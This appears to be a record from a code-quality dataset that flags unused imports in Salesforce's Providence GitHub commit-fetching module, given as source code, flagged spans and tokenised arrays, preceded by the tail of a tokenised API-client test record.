"api_", "._", "get", "\\u", "messages_", "(_", "ids_", "=_", "'%", "s", ",", " ", "%", "s", "'_", "%_", "(_", "message", "1_", "._", "id_", ",_", "message", "2_", "._", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "messages_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "channel", "\\u", "messages_", "(_", "270", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "delete", "\\u", "message_", "(_", "270", "24_", ",_", "message", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "delete", "\\u", "message_", "(_", "270", "24_", ",_", "message", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "interactions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "interactions_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "interacti", "ons", "\\u", "with", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "text", "\\u", "process_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "text", "\\u", "process_", "(_", "data_", "=_", "{_", "'", "text", "'_", ":_", "\"#", "aw", "eso", "me", " ", "@", "voi", "dfile", "s", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "places_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "places_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "search", "\\u", "places_", "(_", "q_", "=_", "'", "kri", "spy", " ", "kre", "me", "'_", ",_", "latitude_", "=_", "'", "37.", "701", "598", "'_", ",_", "longitude_", "=_", "'-", "122.", "470", "093", "'_", ",_", "radius_", "=_", "'", "5000", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "place_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "place_", "(_", "places_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "config_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "config_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "explore", "\\u", "stream_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "explore", "\\u", "streams_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "explore", "\\u", "streams_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "explore", "\\u", "stream_", "(_", "explore", "\\u", "streams_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cursor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iterator_", "=_", "cursor_", "(_", "self_", "._", "api_", "._", "posts", "\\u", "stream", "\\u", "global_", ",_", "count_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "1_", "=_", "iterator_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "2_", "=_", "iterator_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equals_", "(_", "post", "1_", "._", "id_", ",_", "post", "2_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "iterator_", "=_", "cursor_", "(_", "self_", "._", "api_", "._", "get", "\\u", "explore", "\\u", "stream_", ",_", "'", "photo", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "1_", "=_", "iterator_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
SalesforceEng/Providence/repos/github.py
[ { "content": "'''\nCopyright (c) 2015, Salesforce.com, Inc.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n* Neither the name of Salesforce.com nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n'''\n\nimport requests\nimport json\nimport datetime\nimport dateutil.parser\nimport urllib\nimport os\nimport pytz\n\nfrom Empire.cloudservices.github import GithubOrg, GithubRepo, GithubCommit\nfrom repos.base import RepoSource, RepoCommit, RepoPatch\nfrom repos.diffparser import DiffParser\nimport logging\nlogger = logging.getLogger('repos_github')\n\nowner = 'jacquev6'\nrepo = 'PyGithub'\n\n\n\nif __name__ == \"__main__\":\n from Empire.creds import CredentialManager\n credentials_file = \"credentials.json\"\n credential_key = os.environ.get('CREDENTIAL_KEY')\n if credential_key is None:\n credential_key = getpass.getpass('Credential Key:')\n credential_manager = CredentialManager(credentials_file, credential_key)\n creds = credential_manager.get_or_create_credentials_for(\"github-mfeldmansf\",\"password\")\n\n test = GithubSource(creds);\n test.processSinceIdentifier(\"2014-11-12T00:00:00Z\", cstart, pstart, cend);\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class GithubSource(RepoSource):\n\n", "metadata": "root.GithubSource", "header": "['module', '___EOS___']", "index": 32 }, { "content": " def __init__(self, creds=None, host='api.github.com', owner='Pardot', repo='pardot'):\n self._last_date = None\n self._last_identifier = None\n self._no_more_requests_until = None\n github_org = GithubOrg(host, owner, creds)\n self._github_repo = GithubRepo(github_org, repo)", "metadata": "root.GithubSource.__init__", "header": "['class', 'GithubSource', '(', 'RepoSource', ')', ':', '___EOS___']", "index": 33 }, { "content": " def processSinceIdentifier(self, identifier, commit_started_callback, patch_callback, commit_finished_callback, path=None):\n since_datetime = datetime.datetime.utcnow()\n since_datetime = since_datetime.replace(tzinfo=pytz.UTC, hour=0, minute=0, second=0)\n if identifier:\n try:\n since_datetime = dateutil.parser.parse(identifier)\n except Exception as e:\n logger.error(\"Error parsing datetime from %s\", identifier)\n commits = self._github_repo.commits(since_datetime, path=path)\n self.processCommits(commits, \n commit_started_callback=commit_started_callback,\n patch_callback=patch_callback,\n commit_finished_callback=commit_finished_callback);\n if self._last_date:\n return self._last_date.isoformat()\n if since_datetime:\n return since_datetime.isoformat()\n return None", "metadata": "root.GithubSource.processSinceIdentifier", "header": "['class', 'GithubSource', '(', 'RepoSource', ')', ':', '___EOS___']", "index": 40 }, { "content": " def processCommits(self, commits, commit_started_callback, patch_callback, commit_finished_callback):\n if commits is None:\n return None\n\n # Process oldest first\n commits = commits[::-1]\n logger.debug(\"process %d commits\", len(commits))\n for github_commit in commits:\n logger.debug(\"sha: %s\", github_commit.sha)\n if github_commit.sha:\n github_commit = self._github_repo.commit(github_commit.sha)\n\n repo_commit = RepoCommit();\n repo_commit.url = github_commit.html_url\n repo_commit.repo_source = self\n\n if github_commit.date is not None:\n self._last_date = dateutil.parser.parse(github_commit.date)\n\n repo_commit.date = self._last_date\n self._last_date += datetime.timedelta(seconds=1)\n repo_commit.identifier = self._last_date.isoformat()\n\n repo_commit.committer_email = github_commit.committer_email\n repo_commit.committer_name = github_commit.committer_name\n repo_commit.username = github_commit.committer_login\n repo_commit.message = github_commit.message\n \n repo_commit.sha = github_commit.sha\n commit_started_callback(repo_commit)\n\n if github_commit.files:\n for file_info in github_commit.files:\n if file_info.get('patch'):\n filename = committer_username = None\n diff = DiffParser(file_info['patch'])\n repo_patch = RepoPatch(repo_commit=repo_commit)\n repo_patch.diff = diff\n repo_patch.filename = file_info.get(\"filename\")\n patch_callback(repo_patch)\n\n commit_finished_callback(repo_commit)\n logger.debug(\"batch fof files processed\")\n logger.debug(\"done\")", "metadata": "root.GithubSource.processCommits", "header": "['class', 'GithubSource', '(', 'RepoSource', ')', ':', '___EOS___']", "index": 59 }, { "content": " def cstart(commit):\n print commit", "metadata": "root.cstart", "header": "['module', '___EOS___']", "index": 115 }, { "content": " def pstart(patch):\n print \"touched \", patch.filename", "metadata": "root.pstart", "header": "['module', '___EOS___']", "index": 117 }, { "content": " def cend(commit):\n pass", "metadata": "root.cend", "header": "['module', '___EOS___']", "index": 119 } ]
[ { "span": "import requests", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 15 }, { "span": "import json", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 11 }, { "span": "import urllib", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 13 }, { "span": "from Empire.cloudservices.github import GithubOrg, GithubRepo, GithubCommit", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 75 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "201", "5", ",", " ", "Sal", "es", "force", ".", "com", ",", " ", "Inc", ".", "\\", "10", ";", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";", "\\", "10", ";", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", ".", "\\", "10", ";", "\\", "10", ";", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", ".", "\\", "10", ";", "\\", "10", ";", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Sal", "es", "force", ".", "com", " ", "nor", " ", "the", " ", "names", " ", "of", " ", "its", " ", "contributor", "s", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior", " ", "writt", "en", " ", "permissi", "on", ".", "\\", "10", ";", "\\", "10", ";", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "dateutil_", "._", "parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pytz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Emp", "ire_", "._", "clouds", "ervice", "s_", "._", "github_", "import_", "Git", "hub", "Org", "_", ",_", "Git", "hub", "Repo_", ",_", "Git", "hub", "Commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "repos_", "._", "base_", "import_", "Rep", "o", "Source_", ",_", "Rep", "o", "Commit_", ",_", "Rep", "o", "Patch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "repos_", "._", "diff", "parser_", "import_", "Diff", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "repos", "\\u", "git", "hub", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "'", "jac", "que", "v6", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo_", "=_", "'", "Py", "Git", "hub", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "Emp", "ire_", "._", "creds_", "import_", "Cred", "ential", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cred", "ential", "s", "\\u", "file_", "=_", "\"", "cred", "ential", "s", ".", "json", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cred", "ential", "\\u", "key_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "CRED", "ENTI", "AL", "\\u", "KEY", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cred", "ential", "\\u", "key_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cred", "ential", "\\u", "key_", "=_", "getpass_", "._", "getpass_", "(_", "'", "Cred", "ential", " ", "Key", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cred", "ential", "\\u", "manager_", "=_", "Cred", "ential", "Manager_", "(_", "cred", "ential", "s", "\\u", "file_", ",_", "cred", "ential", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "creds_", "=_", "cred", "ential", "\\u", "manager_", "._", "get", "\\u", "or", "\\u", "create", "\\u", "cred", "ential", "s", "\\u", "for_", "(_", "\"", "git", "hub", "-", "mf", "eld", "man", "sf", "\"_", ",_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test_", "=_", "Git", "hub", "Source_", "(_", "creds_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "test_", "._", "process", "Sin", "ce", "Identifier_", "(_", "\"", "2014", "-1", "1", "-1", "2", "T", "00", ":", "00", ":", "00", "Z", "\"_", ",_", "cst", "art_", ",_", "pst", "art_", ",_", "cen", "d_", ")_", ";_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Git", "hub", "Source_", "(_", "Rep", "o", "Source_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Git", "hub", "Source_", "(_", "Rep", "o", "Source_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "creds_", "=_", "None_", ",_", "host_", "=_", "'", "api", ".", "git", "hub", ".", "com", "'_", ",_", "owner_", "=_", "'", "Par", "dot", "'_", ",_", "repo_", "=_", "'", "par", "dot", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "last", "\\u", "date_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "last", "\\u", "identifier_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "no", "\\u", "more", "\\u", "request", "s", "\\u", "until_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "git", "hub", "\\u", "org_", "=_", "Git", "hub", "Org", "_", "(_", "host_", ",_", "owner_", ",_", "creds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "git", "hub", "\\u", "repo_", "=_", "Git", "hub", "Repo_", "(_", "git", "hub", "\\u", "org_", ",_", "repo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Git", "hub", "Source_", "(_", "Rep", "o", "Source_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "Sin", "ce", "Identifier_", "(_", "self_", ",_", "identifier_", ",_", "commit", "\\u", "start", "ed", "\\u", "callback_", ",_", "patch", "\\u", "callback_", ",_", "commit", "\\u", "finish", "ed", "\\u", "callback_", ",_", "path_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sinc", "e\\u", "datetime_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sinc", "e\\u", "datetime_", "=_", "sinc", "e\\u", "datetime_", "._", "replace_", "(_", "tzinfo_", "=_", "pytz_", "._", "UTC_", ",_", "hour_", "=_", "0_", ",_", "minute_", "=_", "0_", ",_", "second_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "identifier_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sinc", "e\\u", "datetime_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "\"", "Error", " ", "pars", "ing", " ", "datetime", " ", "from", " ", "%", "s", "\"_", ",_", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "commits_", "=_", "self_", "._", "\\u", "git", "hub", "\\u", "repo_", "._", "commits_", "(_", "sinc", "e\\u", "datetime_", ",_", "path_", "=_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "process", "Commi", "ts_", "(_", "commits_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "commit", "\\u", "start", "ed", "\\u", "callback_", "=_", "commit", "\\u", "start", "ed", "\\u", "callback_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "patch", "\\u", "callback_", "=_", "patch", "\\u", "callback_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "commit", "\\u", "finish", "ed", "\\u", "callback_", "=_", "commit", "\\u", "finish", "ed", "\\u", "callback_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "last", "\\u", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "last", "\\u", "date_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sinc", "e\\u", "datetime_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "sinc", "e\\u", "datetime_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Git", "hub", "Source_", "(_", "Rep", "o", "Source_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "Commi", "ts_", "(_", "self_", ",_", "commits_", ",_", "commit", "\\u", "start", "ed", "\\u", "callback_", ",_", "patch", "\\u", "callback_", ",_", "commit", "\\u", "finish", "ed", "\\u", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "commits_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "oldest", " ", "first_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "commits_", "=_", "commits_", "[_", ":_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "process", " ", "%", "d", " ", "commit", "s", "\"_", ",_", "len_", "(_", "commits_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "git", "hub", "\\u", "commit_", "in_", "commits_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "sha", ":", " ", "%", "s", "\"_", ",_", "git", "hub", "\\u", "commit_", "._", "sha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "git", "hub", "\\u", "commit_", "._", "sha_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "git", 